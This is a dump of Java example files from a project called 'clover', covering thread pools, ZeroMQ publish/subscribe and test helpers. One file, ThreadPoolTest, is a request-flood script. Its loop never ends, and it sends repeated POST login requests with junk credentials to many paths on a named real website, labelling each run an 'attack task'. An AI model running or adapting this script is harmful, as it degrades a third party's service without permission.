DateUtil.currentDateTime());\r\n        MongoDBUtil.INSTANCE.insert(document,\"test_wy\");\r\n        MongoDBUtil.INSTANCE.insertOrUpdate(document,\"test_wy\");\r\n        System.err.println(\"MyThread--->>>run()\");\r\n    }\r\n}"
  },
  {
    "path": "clover/clover-examples/src/main/java/com/gome/clover/thread/TestMyThreadPool.java",
    "content": "package com.gome.clover.thread;\r\n\r\nimport com.gome.clover.common.tools.CommonConstants;\r\n\r\nimport java.util.concurrent.ExecutorService;\r\nimport java.util.concurrent.Executors;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:clover\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/12/18\r\n * Time: 15:21\r\n */\r\npublic class TestMyThreadPool {\r\n    private static ExecutorService pool = null; //线程池\r\n    public static void main(String[] args) {\r\n        // 创建3个线程的线程池\r\n      /*  MyThreadPool t = MyThreadPool.getThreadPool();\r\n        t.execute(new Runnable[] { new Task(), new Task(), new Task() });\r\n        t.execute(new Runnable[] { new Task(), new Task(), new Task() });\r\n        System.out.println(t);\r\n        t.destroy();// 所有线程都执行完成才destory\r\n        System.out.println(t);*/\r\n        test1();\r\n        test2();\r\n        test3();\r\n    }\r\n\r\n    public static void test1(){\r\n        if (null == pool) {\r\n            pool = Executors.newFixedThreadPool(CommonConstants.POOL_SIZE);\r\n            System.err.println(\"test1->Executors.newFixedThreadPool(CommonConstants.POOL_SIZE)\");\r\n        }\r\n        pool.execute(new Thread(new Task()));\r\n    }\r\n\r\n    public static void test2(){\r\n        if (null == pool) {\r\n            pool = Executors.newFixedThreadPool(CommonConstants.POOL_SIZE);\r\n            System.err.println(\"test2->Executors.newFixedThreadPool(CommonConstants.POOL_SIZE)\");\r\n        }\r\n        pool.execute(new Thread(new Task()));\r\n    }\r\n    public static void test3(){\r\n        if (null == pool) {\r\n            pool = Executors.newFixedThreadPool(CommonConstants.POOL_SIZE);\r\n            System.err.println(\"test3->Executors.newFixedThreadPool(CommonConstants.POOL_SIZE)\");\r\n        }\r\n        pool.execute(new Thread(new Task()));\r\n    }\r\n\r\n    // 任务类\r\n    static class Task implements Runnable {\r\n        private static volatile int i = 1;\r\n\r\n        @Override\r\n        public void run() {// 执行任务\r\n            System.out.println(\"任务 \" + (i++) + \" 完成\");\r\n        }\r\n    }\r\n}"
  },
  {
    "path": "clover/clover-examples/src/main/java/com/gome/clover/thread/ThreadDemo.java",
    "content": "package com.gome.clover.thread;\r\n\r\nimport java.util.Random;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:clover\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/11/25\r\n * Time: 22:57\r\n */\r\npublic class ThreadDemo\r\n{\r\n    /**\r\n     * @param args\r\n     * @throws InterruptedException\r\n     */\r\n    public static void main(String[] args) throws InterruptedException\r\n    {\r\n        while (true)\r\n        {\r\n            new Thread(new MyThread(new Random().nextInt())).start();\r\n\r\n        }\r\n    }\r\n}"
  },
  {
    "path": "clover/clover-examples/src/main/java/com/gome/clover/thread/ThreadPool.java",
    "content": "package com.gome.clover.thread;/**\r\n * Created by  on .\r\n */\r\n\r\nimport java.util.LinkedList;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:clover\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/11/25\r\n * Time: 22:54\r\n */\r\npublic class ThreadPool extends ThreadGroup {\r\n    private boolean isClosed = false;  //线程池是否关闭\r\n    private LinkedList workQueue;      //工作队列\r\n    private static int threadPoolID = 1;  //线程池的id\r\n    public ThreadPool(int poolSize) {  //poolSize 表示线程池中的工作线程的数量\r\n        super(threadPoolID + \"\");      //指定ThreadGroup的名称\r\n        setDaemon(true);               //继承到的方法，设置是否守护线程池\r\n        workQueue = new LinkedList();  //创建工作队列\r\n        for(int i = 0; i < poolSize; i++) {\r\n            new WorkThread(i).start();   //创建并启动工作线程,线程池数量是多少就创建多少个工作线程\r\n        }\r\n    }\r\n\r\n    /** 向工作队列中加入一个新任务,由工作线程去执行该任务*/\r\n    public synchronized void execute(Runnable task) {\r\n        if(isClosed) {\r\n            throw new IllegalStateException();\r\n        }\r\n        if(task != null) {\r\n            workQueue.add(task);//向队列中加入一个任务\r\n            notify();           //唤醒一个正在getTask()方法中待任务的工作线程\r\n        }\r\n    }\r\n\r\n    /** 从工作队列中取出一个任务,工作线程会调用此方法*/\r\n    private synchronized Runnable getTask(int threadId) throws InterruptedException {\r\n        while(workQueue.size() == 0) {\r\n            if(isClosed) return null;\r\n            System.out.println(\"工作线程\"+threadId+\"等待任务...\");\r\n            wait();             //如果工作队列中没有任务,就等待任务\r\n        }\r\n        System.out.println(\"工作线程\"+threadId+\"开始执行任务...\");\r\n        return (Runnable) workQueue.removeFirst(); //反回队列中第一个元素,并从队列中删除\r\n    }\r\n\r\n    /** 关闭线程池 */\r\n    public synchronized void closePool() {\r\n        if(! isClosed) {\r\n            waitFinish();        //等待工作线程执行完毕\r\n            isClosed = true;\r\n            workQueue.clear();  //清空工作队列\r\n            interrupt();        //中断线程池中的所有的工作线程,此方法继承自ThreadGroup类\r\n        }\r\n    }\r\n\r\n    /** 等待工作线程把所有任务执行完毕*/\r\n    public void waitFinish() {\r\n        synchronized (this) {\r\n            isClosed = true;\r\n            notifyAll();            //唤醒所有还在getTask()方法中等待任务的工作线程\r\n        }\r\n        Thread[] threads = new Thread[activeCount()]; //activeCount() 返回该线程组中活动线程的估计值。\r\n        int count = enumerate(threads); //enumerate()方法继承自ThreadGroup类，根据活动线程的估计值获得线程组中当前所有活动的工作线程\r\n        for(int i =0; i < count; i++) { //等待所有工作线程结束\r\n            try {\r\n                threads[i].join();  //等待工作线程结束\r\n            }catch(InterruptedException ex) {\r\n                ex.printStackTrace();\r\n            }\r\n        }\r\n    }\r\n\r\n    /**\r\n     * 内部类,工作线程,负责从工作队列中取出任务,并执行\r\n     * @author sunnylocus\r\n     */\r\n    private class WorkThread extends Thread {\r\n        private int id;\r\n        public WorkThread(int id) {\r\n            //父类构造方法,将线程加入到当前ThreadPool线程组中\r\n            super(ThreadPool.this,id+\"\");\r\n            this.id =id;\r\n        }\r\n        public void run() {\r\n            while(! isInterrupted()) {  //isInterrupted()方法继承自Thread类，判断线程是否被中断\r\n                Runnable task = null;\r\n                try {\r\n                    task = getTask(id);     //取出任务\r\n                }catch(InterruptedException ex) {\r\n                    ex.printStackTrace();\r\n                }\r\n                //如果getTask()返回null或者线程执行getTask()时被中断，则结束此线程\r\n                if(task == null) return;\r\n\r\n                try {\r\n                    task.run();  //运行任务\r\n                }catch(Throwable t) {\r\n                    t.printStackTrace();\r\n                }\r\n            }//  end while\r\n        }//  end run\r\n    }// end workThread\r\n}\r\n"
  },
  {
    "path": "clover/clover-examples/src/main/java/com/gome/clover/thread/ThreadPoolTest.java",
    "content": "package com.gome.clover.thread;\r\n\r\nimport com.gome.clover.common.tools.HttpRequest;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:clover\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/11/25\r\n * Time: 22:53\r\n */\r\npublic class ThreadPoolTest {\r\n    public static void main(String[] args) throws InterruptedException {\r\n        ThreadPool threadPool = new ThreadPool(9); //创建一个有个30工作线程的线程池\r\n        //Thread.sleep(500); //休眠500毫秒,以便让线程池中的工作线程全部运行\r\n        //运行任务\r\n        for (int i = 0; i <i+1 ; i++) { //创建10个任务\r\n            Thread.sleep(1000);\r\n            threadPool.execute(createTask(i));\r\n        }\r\n        threadPool.waitFinish(); //等待所有任务执行完毕\r\n        threadPool.closePool(); //关闭线程池\r\n\r\n    }\r\n\r\n    private static Runnable createTask(final int taskID) {\r\n        return new Runnable() {\r\n            public void run() {\r\n                //  System.out.println(\"Task\" + taskID + \"开始\");\r\n                System.out.println(\"有效攻击任务ID:\"+taskID);\r\n                HttpRequest.sendPost(\"http://fansunion.cn/auth/dologin\", \"username=sb&password=sb\");\r\n                HttpRequest.sendPost(\"http://fansunion.cn/\",\"username=sb&password=sb\");\r\n                HttpRequest.sendPost(\"http://fansunion.cn/service\",\"username=sb&password=sb\");\r\n                HttpRequest.sendPost(\"http://fansunion.cn/case\",\"username=sb&password=sb\");\r\n                HttpRequest.sendPost(\"http://fansunion.cn/code\",\"username=sb&password=sb\");\r\n                HttpRequest.sendPost(\"http://fansunion.cn/ask\",\"username=sb&password=sb\");\r\n                HttpRequest.sendPost(\"http://fansunion.cn/article\",\"username=sb&password=sb\");\r\n                HttpRequest.sendPost(\"http://fansunion.cn/news\",\"username=sb&password=sb\");\r\n                HttpRequest.sendPost(\"http://fansunion.cn/help\",\"username=sb&password=sb\");\r\n                HttpRequest.sendPost(\"http://fansunion.cn/about\",\"username=sb&password=sb\");\r\n                //  System.out.println(\"Task\" + taskID + \"结束\");\r\n            }\r\n        };\r\n\r\n    }\r\n}\r\n"
  },
  {
    "path": "clover/clover-examples/src/main/java/com/gome/clover/time/TestTime.java",
    "content": "package com.gome.clover.time;\r\n\r\nimport com.gome.clover.common.tools.CommonConstants;\r\nimport org.junit.Test;\r\n\r\n/**\r\n * Module Desc:\r\n * User: wangyue-ds6\r\n * Date: 2014/11/21\r\n * Time: 12:23\r\n */\r\npublic class TestTime {\r\n    @Test\r\n    public  void  getCurrentTime(){\r\n        Long currentTimeMillis = System.currentTimeMillis(); //系统时间\r\n        System.out.println(\"currentTimeMillis:\"+currentTimeMillis);\r\n\r\n        Long lastTimeMillis = 1416544031687L;\r\n        System.err.println(\"DIFF:\"+(currentTimeMillis-lastTimeMillis)/(1000*60));\r\n        if(currentTimeMillis-lastTimeMillis<= CommonConstants.SERVER_DIFFER_MILLI_SECONDS){\r\n            System.err.println(\"SERVER_DIFFER_MILLI_SECONDS\");\r\n        }\r\n\r\n\r\n    }\r\n}\r\n"
  },
  {
    "path": "clover/clover-examples/src/main/java/com/gome/clover/zeromq/Helper.java",
    "content": "package com.gome.clover.zeromq;\r\n\r\nimport zmq.*;\r\n\r\nimport java.io.IOException;\r\nimport java.io.InputStream;\r\nimport java.io.OutputStream;\r\nimport java.net.Socket;\r\nimport java.nio.ByteBuffer;\r\nimport java.nio.channels.WritableByteChannel;\r\nimport java.util.ArrayList;\r\nimport java.util.List;\r\nimport java.util.concurrent.atomic.AtomicInteger;\r\n\r\nimport static org.hamcrest.CoreMatchers.is;\r\nimport static org.junit.Assert.assertThat;\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:clover\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/12/25\r\n * Time: 21:24\r\n */\r\npublic class Helper {\r\n    public static AtomicInteger counter = new AtomicInteger(2);\r\n\r\n    private Helper()\r\n    {\r\n    }\r\n\r\n    public static class DummyCtx extends Ctx\r\n    {\r\n    }\r\n\r\n    public static class DummySocketChannel implements WritableByteChannel\r\n    {\r\n        private int bufsize;\r\n        private byte[] buf;\r\n\r\n        public DummySocketChannel()\r\n        {\r\n            this(64);\r\n        }\r\n\r\n        public DummySocketChannel(int bufsize)\r\n        {\r\n            this.bufsize = bufsize;\r\n            buf = new byte[bufsize];\r\n        }\r\n\r\n        public byte[] data()\r\n        {\r\n            return buf;\r\n        }\r\n\r\n        @Override\r\n        public void close() throws IOException\r\n        {\r\n        }\r\n\r\n        @Override\r\n        public boolean isOpen()\r\n        {\r\n            return true;\r\n        }\r\n\r\n        @Override\r\n        public int write(ByteBuffer src) throws IOException\r\n        {\r\n            int remaining = src.remaining();\r\n            if (remaining > bufsize) {\r\n                src.get(buf);\r\n                return bufsize;\r\n            }\r\n            src.get(buf, 0, remaining);\r\n            return remaining;\r\n        }\r\n\r\n    }\r\n\r\n    public static DummyCtx ctx = new DummyCtx();\r\n\r\n    public static class DummyIOThread extends IOThread\r\n    {\r\n        public DummyIOThread()\r\n        {\r\n            super(ctx, 2);\r\n        }\r\n    }\r\n\r\n    public static class DummySocket extends SocketBase\r\n    {\r\n        public DummySocket()\r\n        {\r\n            super(ctx, counter.get(), counter.get());\r\n            counter.incrementAndGet();\r\n        }\r\n\r\n        @Override\r\n        protected void xattach_pipe(Pipe pipe_, boolean icanhasall_) {\r\n\r\n        }\r\n\r\n        @Override\r\n        protected void xterminated(Pipe pipe_) {\r\n\r\n        }\r\n    }\r\n\r\n    public static class DummySession extends SessionBase\r\n    {\r\n        public List<Msg> out = new ArrayList<Msg>();\r\n\r\n        public DummySession()\r\n        {\r\n            this(new DummyIOThread(),  false, new DummySocket(), new Options(), new Address(\"tcp\", \"localhost:9090\", false));\r\n        }\r\n\r\n        public DummySession(IOThread ioThread, boolean connect,\r\n                            SocketBase socket, Options options, Address addr)\r\n        {\r\n            super(ioThread, connect, socket, options, addr);\r\n        }\r\n\r\n        public int pushMsg(Msg msg)\r\n        {\r\n            System.out.println(\"session.write \" + msg);\r\n            out.add(msg);\r\n            return 0;\r\n        }\r\n\r\n        public Msg pullMsg()\r\n        {\r\n            System.out.println(\"session.read \" + out);\r\n            if (out.size() == 0) {\r\n                return null;\r\n            }\r\n            Msg msg = out.remove(0);\r\n\r\n            return msg;\r\n        }\r\n\r\n    }\r\n\r\n    public static void bounce(SocketBase sb, SocketBase sc)\r\n    {\r\n        byte[] content = \"12345678ABCDEFGH12345678abcdefgh\".getBytes(ZMQ.CHARSET);\r\n\r\n        //  Send the message.\r\n        int rc = ZMQ.zmq_send(sc, content, 32, ZMQ.ZMQ_SNDMORE);\r\n        assert (rc == 32);\r\n        rc = ZMQ.zmq_send(sc, content, 32, 0);\r\n        assertThat(rc, is(32));\r\n\r\n        //  Bounce the message back.\r\n        Msg msg;\r\n        msg = ZMQ.zmq_recv(sb, 0);\r\n        assert (msg.size() == 32);\r\n        long rcvmore = ZMQ.zmq_getsockopt(sb, ZMQ.ZMQ_RCVMORE);\r\n        assert (rcvmore == 1);\r\n        msg = ZMQ.zmq_recv(sb, 0);\r\n        assert (rc == 32);\r\n        rcvmore = ZMQ.zmq_getsockopt(sb, ZMQ.ZMQ_RCVMORE);\r\n        assert (rcvmore == 0);\r\n        rc = ZMQ.zmq_send(sb, new Msg(msg), ZMQ.ZMQ_SNDMORE);\r\n        assert (rc == 32);\r\n        rc = ZMQ.zmq_send(sb, new Msg(msg), 0);\r\n        assert (rc == 32);\r\n\r\n        //  Receive the bounced message.\r\n        msg = ZMQ.zmq_recv(sc, 0);\r\n        assert (rc == 32);\r\n        rcvmore = ZMQ.zmq_getsockopt(sc, ZMQ.ZMQ_RCVMORE);\r\n        assertThat(rcvmore , is(1L));\r\n        msg = ZMQ.zmq_recv(sc,  0);\r\n        assert (rc == 32);\r\n        rcvmore = ZMQ.zmq_getsockopt(sc, ZMQ.ZMQ_RCVMORE);\r\n        assertThat(rcvmore , is(0L));\r\n        //  Check whether the message is still the same.\r\n        //assert (memcmp (buf2, content, 32) == 0);\r\n    }\r\n\r\n    public static void send(Socket sa, String data) throws IOException\r\n    {\r\n        byte[] content = data.getBytes(ZMQ.CHARSET);\r\n\r\n        byte[] length = String.format(\"%04d\", content.length).getBytes(ZMQ.CHARSET);\r\n\r\n        byte[] buf = new byte[1024];\r\n        int reslen;\r\n        int rc;\r\n        //  Bounce the message back.\r\n        InputStream in = sa.getInputStream();\r\n        OutputStream out = sa.getOutputStream();\r\n\r\n        out.write(length);\r\n        out.write(content);\r\n\r\n        System.out.println(\"sent \" + data.length() + \" \" + data);\r\n        int toRead = 4; // 4 + greeting_size\r\n        int read = 0;\r\n        while (toRead > 0) {\r\n            rc = in.read(buf, read, toRead);\r\n            read += rc;\r\n            toRead -= rc;\r\n            System.out.println(\"read \" + rc + \" total_read \" + read + \" toRead \" + toRead);\r\n        }\r\n        System.out.println(String.format(\"%02x %02x %02x %02x\", buf[0], buf[1], buf[2], buf[3]));\r\n        try {\r\n            Thread.sleep(1000);\r\n        }\r\n        catch (InterruptedException e) {\r\n            e.printStackTrace();\r\n        }\r\n        reslen = Integer.valueOf(new String(buf, 0, 4, ZMQ.CHARSET));\r\n\r\n        in.read(buf, 0, reslen);\r\n        System.out.println(\"recv \" + reslen + \" \" + new String(buf, 0, reslen, ZMQ.CHARSET));\r\n    }\r\n}"
  },
  {
    "path": "clover/clover-examples/src/main/java/com/gome/clover/zeromq/Pub.java",
    "content": "package com.gome.clover.zeromq;\r\nimport org.zeromq.ZMQ;\r\nimport org.zeromq.ZMQ.Context;\r\nimport org.zeromq.ZMQ.Socket;\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:clover\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/12/4\r\n * Time: 20:28\r\n */\r\npublic class Pub {\r\n    public static void main(String[] args) throws InterruptedException {\r\n        // TODO Auto-generated method stub\r\n        Context context = ZMQ.context(1);\r\n        Socket publisher = context.socket(ZMQ.PUB);\r\n        publisher.bind(\"tcp://*:5557\");\r\n        publisher.send(\"B\".getBytes(), ZMQ.SNDMORE);\r\n        publisher.send(\"This is B\".getBytes(), 0);\r\n\r\n       /* int i = 0;\r\n        while (true) {\r\n            Thread.currentThread().sleep(1000);\r\n            publisher.send(\"A\".getBytes(), ZMQ.SNDMORE);\r\n            publisher.send(\"This is A\".getBytes(), 0);\r\n            publisher.send(\"B\".getBytes(), ZMQ.SNDMORE);\r\n            publisher.send(\"This is B\".getBytes(), 0);\r\n        }*/\r\n    }\r\n}\r\n"
  },
  {
    "path": "clover/clover-examples/src/main/java/com/gome/clover/zeromq/Publisher.java",
    "content": "package com.gome.clover.zeromq;\r\n\r\nimport org.zeromq.ZMQ;\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:Publisher\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/11/21\r\n * Time: 14:27\r\n */\r\n\r\npublic class Publisher {\r\n    public static void main(String args[]) {\r\n\r\n        ZMQ.Context context = ZMQ.context(1);  //创创建包含一个I/O线程的context\r\n        ZMQ.Socket publisher = context.socket(ZMQ.PUB);   //创建一个publisher类型的socket，他可以向所有订阅的subscriber广播数据\r\n\r\n        publisher.bind(\"tcp://127.0.0.1:5555\");  //将当前publisher绑定到5555端口上，可以接受subscriber的订阅\r\n\r\n        while (!Thread.currentThread ().isInterrupted ()) {\r\n            String message = \"fjs hello\";  //最开始可以理解为pub的channel，subscribe需要订阅fjs这个channel才能接收到消息\r\n            publisher.send(message.getBytes());\r\n        }\r\n\r\n        publisher.close();\r\n        context.term();\r\n    }\r\n}"
  },
  {
    "path": "clover/clover-examples/src/main/java/com/gome/clover/zeromq/RandomNum.java",
    "content": "package com.gome.clover.zeromq;\r\n\r\nimport com.gome.clover.common.tools.RandomNumUtil;\r\nimport org.junit.Test;\r\nimport org.zeromq.ZMQ;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:clover\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/12/4\r\n * Time: 21:07\r\n */\r\npublic class RandomNum {\r\n    @Test\r\n    public void testGetRandomNum(){\r\n        while (true){\r\n            System.err.println(\"ThreadLocalRandom.current().nextInt(0,65535) time:\"+ RandomNumUtil.getNextLong());\r\n        }\r\n\r\n    }\r\n\r\n    @Test\r\n    public void testConnection(){\r\n\r\n        ZMQ.Context context = ZMQ.context(1);\r\n\r\n\r\n        ZMQ.Socket socket = context.socket(ZMQ.REP);\r\n        socket.connect(\"tcp://127.0.0.1:6752\");\r\n    }\r\n}\r\n"
  },
  {
    "path": "clover/clover-examples/src/main/java/com/gome/clover/zeromq/Sub1.java",
    "content": "package com.gome.clover.zeromq;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:clover\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/12/4\r\n * Time: 20:29\r\n */\r\nimport org.zeromq.ZMQ;\r\nimport org.zeromq.ZMQ.Context;\r\nimport org.zeromq.ZMQ.Socket;\r\n\r\npublic class Sub1 {\r\n\r\n    /**\r\n     * @param args\r\n     */\r\n    public static void main(String[] args) {\r\n        // TODO Auto-generated method stub\r\n        Context context = ZMQ.context(1);\r\n        Socket subscribe = context.socket(ZMQ.SUB);\r\n        subscribe.connect(\"tcp://127.0.0.1:5557\");\r\n        subscribe.subscribe(\"B\".getBytes());\r\n        while (true) {\r\n            System.out.println(new String(subscribe.recv(0)));\r\n            System.out.println(new String(subscribe.recv(0)));\r\n        }\r\n    }\r\n\r\n}"
  },
  {
    "path": "clover/clover-examples/src/main/java/com/gome/clover/zeromq/Subscriber.java",
    "content": "package com.gome.clover.zeromq;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:Subscriber\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/11/21\r\n * Time: 14:27\r\n */\r\n\r\nimport org.zeromq.ZMQ;\r\n\r\npublic class Subscriber {\r\n    public static void main(String args[]) {\r\n        for (int j = 0; j < 100; j++) {\r\n            new Thread(new Runnable(){\r\n\r\n                public void run() {\r\n                    // TODO Auto-generated method stub\r\n                    ZMQ.Context context = ZMQ.context(1);  //创建1个I/O线程的上下文\r\n                    ZMQ.Socket subscriber = context.socket(ZMQ.SUB);     //创建一个sub类型，也就是subscriber类型的socket\r\n                    subscriber.connect(\"tcp://*:5555\");    //与在5555端口监听的publisher建立连接\r\n                    subscriber.subscribe(\"fjs\".getBytes());     